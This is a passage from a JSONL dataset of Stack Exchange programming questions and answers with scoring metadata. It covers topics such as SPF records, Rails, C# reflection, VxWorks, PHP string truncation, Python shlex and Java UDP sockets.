spammers, you will need to relay this mail via a public MTA of good reputation, hopefully you will be able to work this out without a hassle.\nDon't send an email in only HTML. Always send it in Plain and HTML, or just Plain. Be nice, I use a text only email client, and you don't want to annoy me.\nVerify that you're not running SPF on your email domain, or get it configured to allow your server to send the mail. Do this by doing a TXT lookup on your domain.\n```\n```\n$ dig google.com txt\n...snip...\n;; ANSWER SECTION:\ngoogle.com.     300 IN  TXT \"v=spf1 include:_netblocks.google.com ~all\"\n```\n```\nAs you can see from that result, there's an SPF record there. If you don't have SPF, there won't be a TXT record. Read more about\nSPF on wikipedia\n.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.876122"}
{"id": "hf_25179321706f", "question": "<p>I have a two tables joined with a join table - this is just pseudo code:</p>\n\n<pre><code>Library\nBook\nLibraryBooks\n</code></pre>\n\n<p>What I need to do is if i have the id of a library, i want to get all the libraries that all the books that this library has are in.</p>\n\n<p>So if i have Library 1, and Library 1 has books A and B in them, and books A and B are in Libraries 1, 2, and 3, is there an elegant (one line) way todo this in rails?</p>\n\n<p>I was thinking:</p>\n\n<pre><code>l = Library.find(1)\nallLibraries = l.books.libraries\n</code></pre>\n\n<p>But that doesn't seem to work. Suggestions?</p>\n", "question_body": "", "answer": "Perhaps:\n```\n```\nl.books.map {|b| b.libraries}\n```\n```\nor\n```\n```\nl.books.map {|b| b.libraries}.flatten.uniq\n```\n```\nif you want it all in a flat array.\nOf course, you should really define this as a method on Library, so as to uphold the noble cause of encapsulation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.910927"}
{"id": "hf_c61fd3b355a4", "question": "<p>How do you get all the classes in a namespace through reflection in C#?</p>\n", "question_body": "", "answer": "```\n```\nusing System.Reflection;\nusing System.Collections.Generic;\n//...\n\nstatic List<string> GetClasses(string nameSpace)\n{\n    Assembly asm = Assembly.GetExecutingAssembly();\n\n    List<string> namespacelist = new List<string>();\n    List<string> classlist = new List<string>();\n\n    foreach (Type type in asm.GetTypes())\n    {\n        if (type.Namespace == nameSpace)\n            namespacelist.Add(type.Name);\n    }\n\n    foreach (string classname in namespacelist)\n        classlist.Add(classname);\n\n    return classlist;\n}\n```\n```\nNB: The above code illustrates what's going on.  Were you to implement it, a simplified version can be used:\n```\n```\nusing System.Linq;\nusing System.Reflection;\nusing System.Collections.Generic;\n//...\n\nstatic IEnumerable<string> GetClasses(string nameSpace)\n{\n    Assembly asm = Assembly.GetExecutingAssembly();\n    return asm.GetTypes()\n        .Where(type => type.Namespace == nameSpace)\n        .Select(type => type.Name);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:44.991144"}
{"id": "hf_c75828e003e4", "question": "<p>In the vxWorks RTOS, there is a shell that allows you to issue command to your embedded system.<br>\nThe documentation refers to kernel shell, host shell and target shell. What is the difference between the three?</p>\n", "question_body": "", "answer": "The target shell and kernel shell are the same.  They refer to a shell that runs on the target. You can connect to the shell using either a serial port, or a telnet session.\nA task runs on the target and parses all the commands received and acts on them, outputting data back to the port.\nThe host shell is a process that runs on the development station. It communicates with the debug agent on the target.  All the commands are actually parsed on the host and only simplified requests are sent to the target agent:\nRead/Write Memory\nSet/Remove Breakpoints\nCreate/Delete/Suspend/Resume Tasks\nInvoke a function\nThis results in less real-time impact to the target.\nBoth shells allow the user to perform low level debugging (dissassembly, breakpoints, etc..) and invoke functions on the target.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.021630"}
{"id": "hf_8fe59db7cf7d", "question": "<p>This is my first real question of need for any of those Gridview experts out there in the .NET world.</p>\n\n<p>I an creating a Gridview from codebehind and I am holding a bunch of numerical data in the columns.  Although, I do add the comma in the number fields from codebehind.  When I load it to the Gridview, I have the sorting ability turned on, BUT the gridview chooses to ALPHA sort rather than sorting numerically because I add in those commas.</p>\n\n<p>So I need help.  Anyone willing to give this one a shot?  I need to change some of my columns in the gridview to numerical sort rather than the alpha sort it is using.</p>\n", "question_body": "", "answer": "If you do end up implementing your own comparer and sorting them as strings, the algorithm for treating numbers 'properly' is called Natural Sorting. Jeff wrote a pretty good entry on it here:\nSorting for Humans : Natural Sort Order\nYou can find a pretty good implementation in C# here:\nhttp://www.codeproject.com/KB/string/NaturalSortComparer.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.042737"}
{"id": "hf_c1ef10828b97", "question": "<p>This question may be too product specifc but I'd like to know if anyone is exporting bug track data from HP Quality Center.</p>\n\n<p>HP Quality Center (QC) has an old school COM API but I'd rather use a web service or maybe even screen scraper to export the data into an excel spreadsheet.</p>\n\n<p>In any case, what's the best way to export bug tracking data from hosted HP Quality Center?</p>\n", "question_body": "", "answer": "You can use this QC API Code to modify bugs/requirements.\n```\n```\nTDAPIOLELib.TDConnection connection = new TDAPIOLELib.TDConnection(); \nconnection.InitConnectionEx(\"http://SERVER:8080/qcbin\"); \nconnection.Login(\"USERNAME\", \"PASSWORD\"); \nconnection.Connect(\"QCDOMAIN\", \"QCPROJECT\"); \nTDAPIOLELib.BugFactory bugFactory = connection.BugFactory as TDAPIOLELib.BugFactory; \nTDAPIOLELib.List bugList = bugFactory.NewList(\"\"); \nforeach (TDAPIOLELib.Bug bug in bugList) \n{ \n  // View / Modify the properties \n  // bug.ID, bug.Name, etc. \n  // Save them when done \n  // bug.Post(); \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.086992"}
{"id": "hf_bed0067c1743", "question": "<p>We have an application which needs to use Direct3D. Specifically, it needs at least DirectX 9.0c version 4.09.0000.0904. While this should be present on all newer XP machines it might not be installed on older XP machines. How can I programmatically (using C++) determine if it is installed? I want to be able to give an information message to the user that Direct3D will not be available.</p>\n", "question_body": "", "answer": "According to the DirectX 9.0 SDK (summer 2004) documentation, see the GetDXVer SDK sample at \\Samples\\Multimedia\\DXMisc\\GetDXVer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.133167"}
{"id": "hf_2632bb3cfdb7", "question": "<p>I have a list of timesheet entries that show a start and stop time. This is sitting in a MySQL database. I need to create bar charts based on this data with the 24 hours of the day along the bottom and the amount of man-hours worked for each hour of the day.</p>\n\n<p>For example, if Alice worked a job from 15:30 to 19:30 and Bob worked from 12:15 to 17:00, the chart would look like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/HHrs0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HHrs0.png\" alt=\"Example Chart\"></a></p>\n\n<p>I have a WTFey solution right now that involves a spreadsheet going out to column DY or something like that. The needed resolution is 15-minute intervals.</p>\n\n<p>I'm assuming this is something best done in the database then exported for chart creation. Let me know if I'm missing any details. Thanks.</p>\n", "question_body": "", "answer": "I came up with a pseudocode solution, hope it helps.\n```\n```\ncreate an array named timetable with 24 entries\ninitialise timetable to zero\n\nfor each user in SQLtable\n  firsthour = user.firsthour\n  lasthour = user.lasthour\n\n  firstminutes = 4 - (rounded down integer(user.firstminutes/15))\n  lastminutes = rounded down integer(user.lastminutes/15)\n\n  timetable(firsthour) = timetable(firsthour) + firstminutes\n  timetable(lasthour) = timetable(lasthour) + lastminutes\n\n  for index=firsthour+1 to lasthour-1\n    timetable(index) = timetable(index) + 4\n  next index\n\nnext user\n```\n```\nNow the timetable array holds the values you desire in 15 minute granularity, ie. a value of 4 = 1 hour, 5 = 1 hour 15 minutes, 14 = 3 hours 30 minutes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.199588"}
{"id": "hf_2bf92acbf67f", "question": "<p>How do I convert a datetime <em>string in local time</em> to a <em>string in UTC time</em>?</p>\n\n<p>I'm sure I've done this before, but can't find it and SO will hopefully help me (and others) do that in future.</p>\n\n<p><strong>Clarification</strong>:  For example, if I have <code>2008-09-17 14:02:00</code> in my local timezone (<code>+10</code>), I'd like to generate a string with the equivalent <code>UTC</code> time: <code>2008-09-17 04:02:00</code>.</p>\n\n<p>Also, from <a href=\"http://lucumr.pocoo.org/2011/7/15/eppur-si-muove/\" rel=\"noreferrer\">http://lucumr.pocoo.org/2011/7/15/eppur-si-muove/</a>, note that in general this isn't possible as with DST and other issues there is no unique conversion from local time to UTC time.</p>\n", "question_body": "", "answer": "```\n```\ndef local_to_utc(t):\n    secs = time.mktime(t)\n    return time.gmtime(secs)\n\ndef utc_to_local(t):\n    secs = calendar.timegm(t)\n    return time.localtime(secs)\n```\n```\nSource:\nhttp://feihonghsu.blogspot.com/2008/02/converting-from-local-time-to-utc.html\nExample usage from\nbd808\n: If your source is a\n```\ndatetime.datetime\n```\nobject\n```\nt\n```\n, call as:\n```\n```\nlocal_to_utc(t.timetuple())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.222057"}
{"id": "hf_6edb6822b767", "question": "<p>The situation is this:</p>\n\n<ul>\n<li>You have a Hibernate context with an\nobject graph that has some lazy\nloading defined.  </li>\n<li>You want to use\nthe Hibernate objects in your UI as\nis without having to copy the data\nsomewhere.  </li>\n<li>There are different UI\ncontexts that require different\namounts of data.  </li>\n<li>The data is too\nbig to just eager load the whole\ngraph each time.</li>\n</ul>\n\n<p>What is the best means to load all the appropriate objects in the object graph in a configurable way so that they can be accessed without having to go back to the database to load more data?</p>\n\n<p>Any help.</p>\n", "question_body": "", "answer": "Let's say you have the Client and at one point you have to something with his Orders and maybe he has a Bonus for his Orders.\nThen I would define a Repository with a fluent interface that will allow me to say something like :\n```\n```\nnew ClientRepo().LoadClientBy(id)\n                .WithOrders()\n                .WithBonus()\n                .OrderByName();\n```\n```\nAnd there you have the client with everything you need. It's preferably that you know in advance what you will need for the current operation. This way you can avoid unwanted trips to the database.(new devs in your team will usually do this - call a property and not be aware of the fact that it's actually a call to the DB)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.255320"}
{"id": "hf_5a93ce5878a7", "question": "<p>Since the Google App Engine Datastore is based on <a href=\"http://research.google.com/archive/bigtable.html\" rel=\"noreferrer\">Bigtable</a> and we know that's not a relational database, how do you design a <strong><em>database schema</em>/<em>data model</em></strong> for applications that use this type of database system?</p>\n", "question_body": "", "answer": "As GAE builds on how data is managed in Django there is a lot of info on how to address similar questions in the Django documentation (for example see\nhere\n, scroll down to 'Your first model').\nIn short you design you db model as a regular object model and let GAE sort out all of the object-relational mappings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.278770"}
{"id": "hf_ac994218ed7a", "question": "<p>We have two tasks (T1 and T2) in our vxWorks embedded system that have the same priority (110).<br>\nHow does the regular vxWorks scheduler deal with this if both tasks are ready to run?<br>\nWhich task executes first?</p>\n", "question_body": "", "answer": "The task that will run first is the task that is spawned first as realized by the VxWorks scheduler task. VxWorks uses\npriority-based scheduling\nby default. So in your case, since T1 and T2 have the same priority, whichever one gets the CPU first will continue to run indefinitely until it is explicitly blocked (using\ntaskSuspend\nor\ntaskDelay\n), at which time the other READY task will execute until it is blocked, and so on. This ought to be controlled by semaphores or mutexes (mutices?)\nThe main problem with priority-based scheduling is illuminated by this exact problem. How do we determine how long to let these tasks run? The fact that they have the same priority complicates things. Another concern is that VxWorks tasks that have high priority (lower number means higher priority) can preempt your application which you must be prepared for in your code. These problems can be solved by using\nround-robin scheduling\n. The additional problems posed by round-robin scheduling and the solutions are all described\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.368146"}
{"id": "hf_fd5c360b97c7", "question": "<ul>\n<li>What are the stack and heap?</li>\n<li>Where are they located physically in a computer's memory?</li>\n<li>To what extent are they controlled by the OS or language run-time?</li>\n<li>What is their scope?</li>\n<li>What determines their sizes?</li>\n<li>What makes one faster?</li>\n</ul>\n", "question_body": "", "answer": "Stack:\nStored in computer RAM just like the heap.\nVariables created on the stack will go out of scope and are automatically deallocated.\nMuch faster to allocate in comparison to variables on the heap.\nImplemented with an actual stack data structure.\nStores local data, return addresses, used for parameter passing.\nCan have a stack overflow when too much of the stack is used (mostly from infinite or too deep recursion, very large allocations).\nData created on the stack can be used without pointers.\nYou would use the stack if you know exactly how much data you need to allocate before compile time and it is not too big.\nUsually has a maximum size already determined when your program starts.\nHeap:\nStored in computer RAM just like the stack.\nIn C++, variables on the heap must be destroyed manually and never fall out of scope. The data is freed with\n```\ndelete\n```\n,\n```\ndelete[]\n```\n, or\n```\nfree\n```\n.\nSlower to allocate in comparison to variables on the stack.\nUsed on demand to allocate a block of data for use by the program.\nCan have fragmentation when there are a lot of allocations and deallocations.\nIn C++ or C, data created on the heap will be pointed to by pointers and allocated with\n```\nnew\n```\nor\n```\nmalloc\n```\nrespectively.\nCan have allocation failures if too big of a buffer is requested to be allocated.\nYou would use the heap if you don't know exactly how much data you will need at run time or if you need to allocate a lot of data.\nResponsible for memory leaks.\nExample:\n```\n```\nint foo()\n{\n  char *pBuffer; //<--nothing allocated yet (excluding the pointer itself, which is allocated here on the stack).\n  bool b = true; // Allocated on the stack.\n  if(b)\n  {\n    //Create 500 bytes on the stack\n    char buffer[500];\n\n    //Create 500 bytes on the heap\n    pBuffer = new char[500];\n\n   }//<-- buffer is deallocated here, pBuffer is not\n}//<--- oops there's a memory leak, I should have called delete[] pBuffer;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.421464"}
{"id": "hf_bb108e88d196", "question": "<p>I want to run text through a filter to ensure it is all UTF-8 encoded.  What is the recommended way to do this with PHP?</p>\n", "question_body": "", "answer": "Your question is unclear, are you trying to encode something?  If so\nutf8_encode\nis your friend.  Are you trying to determine if it doesn't need to be encoded?  If so,\nutf8_encode\nis still your friend, because you can check that the result is the same as the input!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.445514"}
{"id": "hf_acb8d069a47c", "question": "<p>I'm sure there were several, but the one I was thinking of would display a nice text screen when you crashed the computer thoroughly.  </p>\n\n<p>The Text was \"Well smoke me a kipper.\"</p>\n", "question_body": "", "answer": "No one else has answered this, so I'll answer the part I can: the original Macintosh debugger was\nMacsBug\n.\nSo far as the kipper quote goes, the only thing that comes to mind is the\nPathogen\ncomputer virus.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.467556"}
{"id": "hf_8dd6adbe1054", "question": "<p>I have the following (pretty standard) table structure:</p>\n\n<pre><code>Post &lt;-&gt; PostTag &lt;-&gt; Tag\n</code></pre>\n\n<p>Suppose I have the following records:</p>\n\n<pre><code>PostID Title\n1,     'Foo'\n2,     'Bar'\n3,     'Baz'\n\nTagID Name\n1,    'Foo'\n2,    'Bar'\n\nPostID TagID\n1      1\n1      2\n2      2\n</code></pre>\n\n<p>In other words, the first post has two tags, the second has one and the third one doesn't have any.</p>\n\n<p><strong>I'd like to load all posts and it's tags in one query</strong> but haven't been able to find the right combination of operators. I've been able to load either <em>posts with tags only</em> or <em>repeated posts when more than one tag</em>.</p>\n\n<p>Given the database above, <strong>I'd like to receive three posts and their tags (if any) in a collection property of the Post objects</strong>. Is it possible at all?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I've answered this in another post :\nAbout eager loading\n. In your case it would probably be something like :\n```\n```\nDataLoadOptions options = new DataLoadOptions();    \noptions.LoadWith<Post>(p => p.PostTag);\noptions.LoadWith<PostTag>(pt => pt.Tag);\n```\n```\nThough be careful - the DataLoadOptions must be set BEFORE ANY query is sent to the database - if not, an exception is thrown (no idea why it's like this in Linq2Sql - probably will be fixed in a later version).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.503100"}
{"id": "hf_6b7f67478658", "question": "<p>I have a code snippet written in PHP that pulls a block of text from a database and sends it out to a widget on a webpage.  The original block of text can be a lengthy article or a short sentence or two; but for this widget I can't display more than, say, 200 characters.  I could use substr() to chop off the text at 200 chars, but the result would be cutting off in the middle of words-- what I really want is to chop the text at the end of the last <i>word</i> before 200 chars.</p>\n", "question_body": "", "answer": "By using the\nwordwrap\nfunction. It splits the texts in multiple lines such that the maximum width is the one you specified, breaking at word boundaries. After splitting, you simply take the first line:\n```\n```\nsubstr($string, 0, strpos(wordwrap($string, $your_desired_width), \"\\n\"));\n```\n```\nOne thing this oneliner doesn't handle is the case when the text itself is shorter than the desired width. To handle this edge-case, one should do something like:\n```\n```\nif (strlen($string) > $your_desired_width) \n{\n    $string = wordwrap($string, $your_desired_width);\n    $string = substr($string, 0, strpos($string, \"\\n\"));\n}\n```\n```\nThe above solution has the problem of prematurely cutting the text if it contains a newline before the actual cutpoint. Here a version which solves this problem:\n```\n```\nfunction tokenTruncate($string, $your_desired_width) {\n  $parts = preg_split('/([\\s\\n\\r]+)/', $string, null, PREG_SPLIT_DELIM_CAPTURE);\n  $parts_count = count($parts);\n\n  $length = 0;\n  $last_part = 0;\n  for (; $last_part < $parts_count; ++$last_part) {\n    $length += strlen($parts[$last_part]);\n    if ($length > $your_desired_width) { break; }\n  }\n\n  return implode(array_slice($parts, 0, $last_part));\n}\n```\n```\nAlso, here is the PHPUnit testclass used to test the implementation:\n```\n```\nclass TokenTruncateTest extends PHPUnit_Framework_TestCase {\n  public function testBasic() {\n    $this->assertEquals(\"1 3 5 7 9 \",\n      tokenTruncate(\"1 3 5 7 9 11 14\", 10));\n  }\n\n  public function testEmptyString() {\n    $this->assertEquals(\"\",\n      tokenTruncate(\"\", 10));\n  }\n\n  public function testShortString() {\n    $this->assertEquals(\"1 3\",\n      tokenTruncate(\"1 3\", 10));\n  }\n\n  public function testStringTooLong() {\n    $this->assertEquals(\"\",\n      tokenTruncate(\"toooooooooooolooooong\", 10));\n  }\n\n  public function testContainingNewline() {\n    $this->assertEquals(\"1 3\\n5 7 9 \",\n      tokenTruncate(\"1 3\\n5 7 9 11 14\", 10));\n  }\n}\n```\n```\nEDIT :\nSpecial UTF8 characters like 'à' are not handled. Add 'u' at the end of the REGEX to handle it:\n```\n$parts = preg_split('/([\\s\\n\\r]+)/u', $string, null, PREG_SPLIT_DELIM_CAPTURE);\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.573972"}
{"id": "hf_c3c9d9b661aa", "question": "<p>I have a string which is like this:</p>\n<pre><code>this is &quot;a test&quot;\n</code></pre>\n<p>I'm trying to write something in Python to split it up by space while ignoring spaces within quotes. The result I'm looking for is:</p>\n<pre><code>['this', 'is', 'a test']\n</code></pre>\n<p>PS. I know you are going to ask &quot;what happens if there are quotes within the quotes, well, in my application, that will never happen.</p>\n", "question_body": "", "answer": "You want\n```\nsplit\n```\n, from the built-in\n```\nshlex\n```\nmodule.\n```\n```\n>>> import shlex\n>>> shlex.split('this is \"a test\"')\n['this', 'is', 'a test']\n```\n```\nThis should do exactly what you want.\nIf you want to preserve the quotation marks, then you can pass the\n```\nposix=False\n```\nkwarg.\n```\n```\n>>> shlex.split('this is \"a test\"', posix=False)\n['this', 'is', '\"a test\"']\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.617328"}
{"id": "hf_6307f4b6371a", "question": "<p>If you were writing a new application from scratch today, and wanted it to scale to all the cores you could throw at it tomorrow, what parallel programming model/system/language/library would you choose?  Why?</p>\n\n<p>I am particularly interested in answers along these axes:</p>\n\n<ol>\n<li>Programmer productivity / ease of use (can mortals successfully use it?)</li>\n<li>Target application domain (what problems is it (not) good at?)</li>\n<li>Concurrency style (does it support tasks, pipelines, data parallelism, messages...?)\n<li>Maintainability / future-proofing (will anybody still be using it in 20 years?)</li>\n<li>Performance (how does it scale on what kinds of hardware?)</li>\n</ol>\n\n<p>I am being deliberately vague on the nature of the application in anticipation of getting good general answers useful for a variety of applications.</p>\n", "question_body": "", "answer": "For .NET application I choose \"\n.NET Parallel Extensions (PLINQ)\n\" it's extremely easy to use and allows me to parallelize existing code in minutes.\nIt's simple to learn\nUsed to perform complex operations over large arrays of objects, so I can't comment on other applications\nSupports tasks and piplines\nShould be supported for a next couple of years, but who knows for sure?\nCTP version has some performance issues, but already looks very promising.\nMono\nwill likely get\nsupport for PLINQ, so it could be a cross-platform solution as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.674952"}
{"id": "hf_b235e20ff17e", "question": "<p>Can you provide an example of a byte buffer transferred between two java classes via UDP datagram?</p>\n", "question_body": "", "answer": "Hows' this ?\n```\nimport java.io.IOException;\nimport java.net.DatagramPacket;\nimport java.net.DatagramSocket;\nimport java.net.InetSocketAddress;\n\npublic class Server {\n\n    public static void main(String[] args) throws IOException {\n        DatagramSocket socket = new DatagramSocket(new InetSocketAddress(5000));\n        byte[] message = new byte[512];\n        DatagramPacket packet = new DatagramPacket(message, message.length);\n        socket.receive(packet);\n        System.out.println(new String(packet.getData(), packet.getOffset(), packet.getLength()));\n    }\n}\n```\n```\nimport java.io.IOException;\nimport java.net.DatagramPacket;\nimport java.net.DatagramSocket;\nimport java.net.InetSocketAddress;\n\npublic class Client {\n\n    public static void main(String[] args) throws IOException {\n        DatagramSocket socket = new DatagramSocket();\n        socket.connect(new InetSocketAddress(5000));\n        byte[] message = \"Oh Hai!\".getBytes();\n        DatagramPacket packet = new DatagramPacket(message, message.length);\n        socket.send(packet);\n    }\n}\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.722794"}
{"id": "hf_9a8e7fde026a", "question": "<p>My friends and I are starting a game like Pokemon and we wanted to know how will we add monsters to the game?  We're using VisualBasic because my friend's brother said it would be easier.</p>\n\n<p>So far we can put pictures of the monsters on the screen and you can click to attack and stuff.</p>\n\n<p>Right now when we want to add a monster we have to make a new window.  This will take us a long time to make all the windows for each type of monster.  Is there a tool or something to make this go faster?  How do game companies do this?</p>\n", "question_body": "", "answer": "I'd suggest making a list of all the attributes you would need for each monster and store all of that in a database like\nMySQL\n. This way you don't need to make windows for each monster, only each time a monster appears (in which case you'd just get the necessary info from the database).\nIf you're not familiar with any database, check out the\nMySQL tutorial\nto get up and going.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.750154"}
{"id": "hf_4db8950e230a", "question": "<p>Desinging web application and for reporting iam using crystal reports.sometimes the crystal reports gives runtimes error. What can i do to make my report faster. Retrieving around 1MB of data. It is the month end sales report. what is the best method to solve this issue.</p>\n", "question_body": "", "answer": "1Mb sounds like far too much data for a report -\nI would try to filter it down more on the server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.796566"}
{"id": "hf_44f398916829", "question": "<p>How do I do a diff of two strings or arrays in Ruby?</p>\n", "question_body": "", "answer": "diff.rb is what you want, which is available at\nhttp://users.cybercity.dk/~dsl8950/ruby/diff.html\nvia internet archive:\nhttp://web.archive.org/web/20140421214841/http://users.cybercity.dk:80/~dsl8950/ruby/diff.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.819284"}
{"id": "hf_0e2a508b2bd9", "question": "<p>I am currently programming a scheduling application which loosely based on iCalendar standard. Does anyone knows in which property can I store the event creator's information? By browsing through the iCalendar RFC 2445, I find this property: <a href=\"http://www.kanzaki.com/docs/ical/organizer.html\" rel=\"nofollow noreferrer\">Organizer</a>. can I store the event creator's information in the property even if he/she is the only person involved in the event? or there is already a field to store the event creator's information???!</p>\n", "question_body": "", "answer": "```\nORGANIZER;CN=\"Sally Example\":mailto:sally@example.com\n```\nLooks like the answer", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.843588"}
{"id": "hf_6ff9f75b00f5", "question": "<p>Java is one of my programming languages of choice.  I always run into the problem though of distributing my application to end-users.</p>\n\n<p>Giving a user a JAR is not always as user friendly as I would like and using Java WebStart requires that I maintain a web server.</p>\n\n<p>What's the best way to distribute a Java application?  What if the Java application needs to install artifacts to the user's computer?  Are there any good Java installation/packaging systems out there?</p>\n", "question_body": "", "answer": "For simple Java apps I like to use Jar's.  It is very simple to distribute one file that a user can just click on (Windows), or\n```\n```\njava -jar jarname.jar\n```\n```\nIMHO, jar is the way to go when simplicity is a main requirement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.867591"}
{"id": "hf_f2e13a2e26f9", "question": "<p>Our team is setting up nightly and continuous integration builds.  We own Team Foundation Server and could use Team Foundation Build.  I'm more familiar with CC.Net and lean that way but management sees all the money spent on TFS and wants to use it.</p>\n\n<p>Some things I like better about CC.Net is the flexibility of notifications as well as the ease of implementing custom scripts.</p>\n\n<p>If you have experience with both products, which do you prefer and why?</p>\n", "question_body": "", "answer": "We've been using CruiseControl.net since June '07 and it's worked great for us.  Best part, it integrates to SVN easily which is a far superior source control provider.\nSo our setup is:\nCruise Control.Net\nSVN\nTrac\n- for bug reports and project management (integrates perfectly with SVN)\nnunit - for unit testing\nWe've had some major parallel development going and the branching and merging experience was spectacular.  If you have the choice I'd go with the setup above!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:45.903750"}
